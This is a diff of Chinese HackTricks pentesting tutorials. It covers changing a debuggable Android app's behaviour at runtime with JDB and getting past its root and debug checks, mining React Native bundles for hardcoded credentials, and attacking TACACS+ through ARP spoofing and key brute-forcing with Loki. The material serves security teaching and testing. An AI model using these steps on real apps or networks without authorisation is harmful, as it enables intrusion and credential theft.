||||||
从这里开始,我们将能够使用各种命令来控制和查看敏感值、方法参数等。
|
|
||||||
为了了解后台发生的情况,我正在跟随与onClick方法相关联的代码,如图10所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack11.png)
|
|
||||||
|
|
||||||
图10
|
|
||||||
|
|
||||||
在继续之前,让我们使用“**locals**”命令查看此时是否有任何局部变量。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack12.png)
|
|
||||||
|
|
||||||
图11
|
|
||||||
|
|
||||||
如我们所见,对我们来说没有任何有趣的信息。
|
|
||||||
|
|
||||||
因此,让我们使用“**next**”命令执行下一行,如下图所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack13.png)
|
|
||||||
|
|
||||||
图12
|
|
||||||
|
|
||||||
让我们再次尝试执行“**locals**”命令,以查看前一个命令中发生了什么。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack14.png)
|
|
||||||
|
|
||||||
图13
|
|
||||||
|
|
||||||
很明显,TextView已加载到方法参数中。如果我们查看图10中提供的源代码,可以看到与TextView实例化相关联的行已执行。
|
|
||||||
|
|
||||||
现在,让我们执行下一行,通过执行“**next**”命令,并检查局部变量,如下图所示。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack15.png)
|
|
||||||
|
|
||||||
图14
|
|
||||||
|
|
||||||
如我们所见,所有局部变量都已显示。字符串“**secret**”看起来很有趣。当我们点击按钮时,将打印出“Try Again”的值。
|
|
||||||
|
|
||||||
从图10可以清楚地看到,方法**setText**正在执行以打印值“**Try Again**”。因此,让我们使用“**step**”命令进入“**setText**”方法的定义,并动态修改要打印的文本。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack16.png)
|
|
||||||
|
|
||||||
图15
|
|
||||||
|
|
||||||
让我们使用“**locals**”命令查看定义内部的局部变量。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack17.png)
|
|
||||||
|
|
||||||
图16
|
|
||||||
|
|
||||||
现在,让我们使用“**set**”命令将“**text**”的值从“**Try Again**”更改为“**Hacked**”。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack18.png)
|
|
||||||
|
|
||||||
图17
|
|
||||||
|
|
||||||
我们无法在应用程序中看到任何更改,因为我们还没有执行修改后的代码。
|
|
||||||
|
|
||||||
因此,让我们使用“**run**”命令运行应用程序,如下图所示,并在屏幕上查看应用程序的输出。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack19.png)
|
|
||||||
|
|
||||||
图18
|
|
||||||
|
|
||||||
让我们看一下在模拟器中运行的应用程序。
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack20.png)
|
|
||||||
|
|
||||||
图19
|
|
||||||
|
|
||||||
我们成功地在运行时修改了应用程序的输出。这只是一个示例,展示了如果应用程序是可调试的,如何修改应用程序的行为。在易受攻击的应用程序的上下文中,我们可以执行各种其他操作,包括“**获取shell**”。
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或以PDF格式下载HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。**
|
</details>
|
||||||
|
|
||||||
|
## **绕过root和可调试检查**
|
||||||
|
|
||||||
|
**本文节摘自帖子** [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
|
||||||
|
### 使Android应用程序可调试并绕过检查的步骤
|
||||||
|
|
||||||
|
#### **使应用程序可调试**
|
||||||
|
|
||||||
|
基于 https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 的内容
|
||||||
|
|
||||||
|
1. **反编译APK:**
|
||||||
|
- 使用APK-GUI工具反编译APK。
|
||||||
|
- 在_android-manifest_文件中插入`android:debuggable=true`以启用调试模式。
|
||||||
|
- 重新编译、签名并对修改后的应用程序进行zipalign。
|
||||||
|
|
||||||
|
2. **安装修改后的应用程序:**
|
||||||
|
- 使用命令:`adb install <application_name>`。
|
||||||
|
|
||||||
|
3. **检索包名:**
|
||||||
|
- 执行`adb shell pm list packages –3`列出第三方应用程序并找到包名。
|
||||||
|
|
||||||
|
4. **设置应用程序等待调试器连接:**
|
||||||
|
- 命令:`adb shell am setup-debug-app –w <package_name>`。
|
||||||
|
- **注意:**每次启动应用程序之前都必须运行此命令,以确保它等待调试器。
|
||||||
|
- 要持久化,使用`adb shell am setup-debug-app –w -–persistent <package_name>`。
|
||||||
|
- 要移除所有标志,使用`adb shell am clear-debug-app <package_name>`。
|
||||||
|
|
||||||
|
5. **在Android Studio中准备调试:**
|
||||||
|
- 在Android Studio中导航到_文件 -> 打开配置文件或APK_。
|
||||||
|
- 打开重新编译的APK。
|
||||||
|
|
||||||
|
6. **在关键Java文件中设置断点:**
|
||||||
|
- 在`MainActivity.java`(特别是在`onCreate`方法中)、`b.java`和`ContextWrapper.java`中放置断点。
|
||||||
|
|
||||||
|
#### **绕过检查**
|
||||||
|
|
||||||
|
应用程序在某些点会验证它是否可调试,并且还会检查指示设备已root的二进制文件。调试器可用于修改应用信息,取消设置可调试位,并更改搜索的二进制文件的名称以绕过这些检查。
|
||||||
|
|
||||||
|
对于可调试检查:
|
||||||
|
|
||||||
|
1. **修改标志设置:**
|
||||||
|
- 在调试器控制台的变量部分,导航到:`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`。
|
||||||
|
- **注意:**`flags = 814267974`的二进制表示是`11000011100111011110`,表明"Flag_debuggable"是活动的。
|
||||||
|
|
||||||
|
![调试器截图](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||||
|
*图:截图展示了调试器视图和标志设置的修改。*
|
||||||
|
|
||||||
|
这些步骤共同确保了应用程序可以被调试,并且可以使用调试器绕过某些安全检查,便于更深入地分析或修改应用程序的行为。
|
||||||
|
|
||||||
|
步骤2涉及将标志值更改为814267972,其二进制表示为110000101101000000100010100。
|
||||||
|
|
||||||
|
## **利用漏洞**
|
||||||
|
|
||||||
|
使用一个包含按钮和文本视图的易受攻击的应用程序进行了演示。最初,应用程序显示“Crack Me”。目标是在运行时将消息从“Try Again”更改为“Hacked”,而不修改源代码。
|
||||||
|
|
||||||
|
### **检查漏洞**
|
||||||
|
- 使用`apktool`反编译应用程序以访问`AndroidManifest.xml`文件。
|
||||||
|
- `AndroidManifest.xml`中存在`android_debuggable="true"`表明应用程序是可调试的,并且容易受到攻击。
|
||||||
|
- 值得注意的是,`apktool`仅用于检查可调试状态,而不更改任何代码。
|
||||||
|
|
||||||
|
### **准备设置**
|
||||||
|
- 过程包括启动模拟器,安装易受攻击的应用程序,并使用`adb jdwp`识别正在监听的Dalvik VM端口。
|
||||||
|
- JDWP(Java Debug Wire Protocol)允许通过暴露唯一端口来调试在VM中运行的应用程序。
|
||||||
|
- 远程调试需要端口转发,然后将JDB附加到目标应用程序。
|
||||||
|
|
||||||
|
### **在运行时注入代码**
|
||||||
|
- 通过设置断点和控制应用程序流程进行了利用。
|
||||||
|
- 使用`classes`和`methods <class_name>`命令来揭示应用程序的结构。
|
||||||
|
- 在`onClick`方法处设置了一个断点,并控制了其执行。
|
||||||
|
- 使用`locals`、`next`和`set`命令来检查和修改局部变量,特别是将“Try Again”消息更改为“Hacked”。
|
||||||
|
- 使用`run`命令执行修改后的代码,成功地实时更改了应用程序的输出。
|
||||||
|
|
||||||
|
这个例子展示了如何操纵可调试应用程序的行为,突出了更复杂的利用可能性,如在应用程序的上下文中获得设备的shell访问权限。
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
|
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,71 +1,54 @@
|
||||||
<details>
|
```html
|
||||||
|
<!DOCTYPE html>
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<html lang="en">
|
||||||
|
<head>
|
||||||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
<title>React Native JS Code Analysis</title>
|
||||||
|
</head>
|
||||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
<body>
|
||||||
|
<script src="index.android.bundle"></script>
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
</body>
|
||||||
|
</html>
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
**从** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) **复制的信息**
|
|
||||||
|
|
||||||
React Native是一个**移动应用程序框架**,最常用于通过使用React和本地平台功能来开发**Android**和**iOS**应用程序。如今,越来越流行在各个平台上使用React。\
|
|
||||||
但是大多数情况下,应用程序的核心逻辑位于React Native的**JavaScript中,可以在不使用dex2jar的情况下获得**。
|
|
||||||
|
|
||||||
## **步骤1**:确认应用程序是否是基于React Native框架构建的。
|
|
||||||
|
|
||||||
要检查这一点,将APK文件重命名为zip扩展名,然后使用以下命令将APK文件提取到一个新文件夹中
|
|
||||||
```
|
```
|
||||||
cp com.example.apk example-apk.zip
|
|
||||||
unzip -qq example-apk.zip -d ReactNative
|
|
||||||
```
|
|
||||||
浏览到新创建的`ReactNative`文件夹,并找到`assets`文件夹。在这个文件夹里,应该包含`index.android.bundle`。这个文件将以**压缩格式**包含所有的React JavaScript代码。React Native逆向工程
|
|
||||||
```bash
|
|
||||||
find . -print | grep -i ".bundle$"
|
|
||||||
```
|
|
||||||
![Image for post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png)
|
|
||||||
|
|
||||||
## **步骤2**:在相同目录下创建一个名为`index.html`的文件,并在其中添加以下代码。
|
这将允许您在浏览器中打开 `index.html` 文件,以便更容易地阅读和调试 JavaScript 代码。
|
||||||
|
```html
|
||||||
您可以将文件上传到[https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/),或按照以下步骤进行操作:
|
|
||||||
```markup
|
|
||||||
<script src="./index.android.bundle"></script>
|
<script src="./index.android.bundle"></script>
|
||||||
```
|
```
|
||||||
![Image for post](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png)
|
您可以将文件上传至 [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) 或遵循以下步骤:
|
||||||
|
|
||||||
在**Google Chrome**中打开**index.html**文件。打开开发者工具栏(**OS X按Command+Option+J,Windows按Control+Shift+J**),然后点击“Sources”。你应该能看到一个JavaScript文件,分成文件夹和文件,组成主要的捆绑包。
|
1. 在Google Chrome中打开`index.html`文件。
|
||||||
|
|
||||||
> 如果你能找到一个名为`index.android.bundle.map`的文件,你就能以未压缩的格式分析源代码。`map`文件包含了源映射,可以将压缩的标识符映射回原始代码。
|
2. 按 **Command+Option+J for OS X** 或 **Control+Shift+J for Windows** 打开开发者工具栏。
|
||||||
|
|
||||||
## **第三步**:搜索敏感凭证和终端点
|
3. 在开发者工具栏中点击"Sources"。您应该能看到一个分成文件夹和文件的JavaScript文件,构成了主要的bundle。
|
||||||
|
|
||||||
在这个阶段,你需要识别**敏感关键词**来分析**Javascript**代码。React Native应用程序中常见的一种模式是使用第三方服务,比如Firebase、AWS S3服务终端点、私钥等等。
|
如果您找到一个名为`index.android.bundle.map`的文件,您将能够以未压缩格式分析源代码。Map文件包含源映射,允许您映射压缩后的标识符。
|
||||||
|
|
||||||
在我的初始**侦察过程**中,我观察到应用程序使用了Dialogflow服务。所以基于此,我搜索了与其配置相关的模式。幸运的是,我在Javascript代码中找到了**敏感的硬编码凭证**。
|
要搜索敏感凭证和端点,请遵循以下步骤:
|
||||||
|
|
||||||
![Image for post](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png)
|
1. 确定敏感关键词以分析JavaScript代码。React Native应用程序通常使用第三方服务,如Firebase、AWS S3服务端点、私钥等。
|
||||||
|
|
||||||
|
2. 在这个特定案例中,观察到应用程序正在使用Dialogflow服务。搜索与其配置相关的模式。
|
||||||
|
|
||||||
|
3. 幸运的是,在侦察过程中在JavaScript代码中发现了硬编码的敏感凭证。
|
||||||
|
|
||||||
|
总的来说,通过遵循这些步骤,您可以分析一个React Native应用程序,确认其框架,并在代码中搜索潜在的敏感信息。
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
|
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,72 +1,64 @@
|
||||||
# 基本信息
|
# 49 - TACACS+渗透测试
|
||||||
|
|
||||||
**终端访问控制器访问控制系统(TACACS)**是一种安全协议,用于对试图访问路由器或NAS的用户进行集中验证。TACACS+是原始TACACS协议的更新版本,提供了独立的身份验证、授权和计费(AAA)服务。
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## 基本信息
|
||||||
|
|
||||||
|
**终端访问控制器访问控制系统(TACACS)** 是一种安全协议,为试图获取**路由器或NAS访问权限**的用户提供集中验证。TACACS+是原始TACACS协议的更新版本,提供独立的认证、授权和计费(AAA)服务。
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
```
|
```
|
||||||
**默认端口:**49
|
**默认端口:** 49
|
||||||
|
|
||||||
## 拦截认证密钥
|
## 拦截认证密钥
|
||||||
|
|
||||||
如果攻击者成功介入客户端和TACACS服务器之间,**他可以拦截加密形式的认证密钥**,然后对其进行本地暴力破解。这样你既可以暴力破解密钥,又不会在日志中留下痕迹。如果你成功暴力破解密钥,**你将能够访问网络设备并在Wireshark中解密流量**。
|
如果攻击者截获了客户端和TACACS服务器的通信,**加密的认证密钥可以被截获**。然后攻击者可以尝试**本地暴力破解密钥而不会在日志中被检测到**。如果成功暴力破解了密钥,攻击者就能访问网络设备,并使用像Wireshark这样的工具解密流量。
|
||||||
|
|
||||||
### 中间人攻击
|
### 执行中间人攻击
|
||||||
|
|
||||||
为了进行中间人攻击,你可以使用[**ARP欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)。
|
**ARP欺骗攻击可以被用来执行中间人攻击(MitM攻击)**。
|
||||||
|
|
||||||
### 暴力破解密钥
|
### 暴力破解密钥
|
||||||
|
|
||||||
现在你需要运行[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)。这是一个专门用于分析L2/L3协议安全性的工具。它的功能与流行的**Yersinia**一样出色,是其严肃的竞争对手。Loki还可以暴力破解TACACS密钥。如果密钥成功**暴力破解**(通常是MD5加密格式),**我们就可以访问设备并解密TACACS加密的流量**。
|
可以使用[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)来暴力破解密钥:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (31) (2).png" alt=""><figcaption></figcaption></figure>
|
如果密钥成功被**暴力破解**(**通常是MD5加密格式**),**我们可以访问设备并解密TACACS加密的流量。**
|
||||||
|
|
||||||
您还需要指定字典的路径,以便对加密密钥进行暴力破解。请确保取消选中**使用暴力破解**选项,否则Loki将在不使用字典的情况下对密码进行暴力破解。
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
现在我们需要等待管理员通过TACACS服务器登录设备。假设网络管理员已经登录,而我们通过ARP欺骗**站在中间**拦截流量。这样做,合法的主机不会意识到有其他人干扰了他们的连接。
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (8) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
现在点击**CRACK**按钮,等待**Loki**破解密码。
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (17) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
### 解密流量
|
### 解密流量
|
||||||
|
一旦密钥成功破解,下一步是**解密TACACS加密的流量**。如果提供了密钥,Wireshark可以处理加密的TACACS流量。通过分析解密的流量,可以获得如**使用的横幅和管理员**用户名等信息。
|
||||||
|
|
||||||
太棒了,我们成功解锁了密钥,现在我们需要解密TACACS流量。正如我所说,如果存在密钥,Wireshark可以处理加密的TACACS流量。
|
通过使用获得的凭据访问网络设备的控制面板,攻击者可以控制网络。需要注意的是,这些行为严格用于教育目的,未经适当授权不得使用。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (28) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
我们可以看到使用了哪个横幅。
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (24) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
我们找到了用户`admin`的用户名。
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
结果,**我们获得了`admin:secret1234`的凭据**,可以用来访问硬件本身。**我想我会检查它们的有效性。**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (19) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
这就是您攻击TACACS+并**获得访问权限**到网络设备控制面板的方法。
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
* 拦截密钥部分来自[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
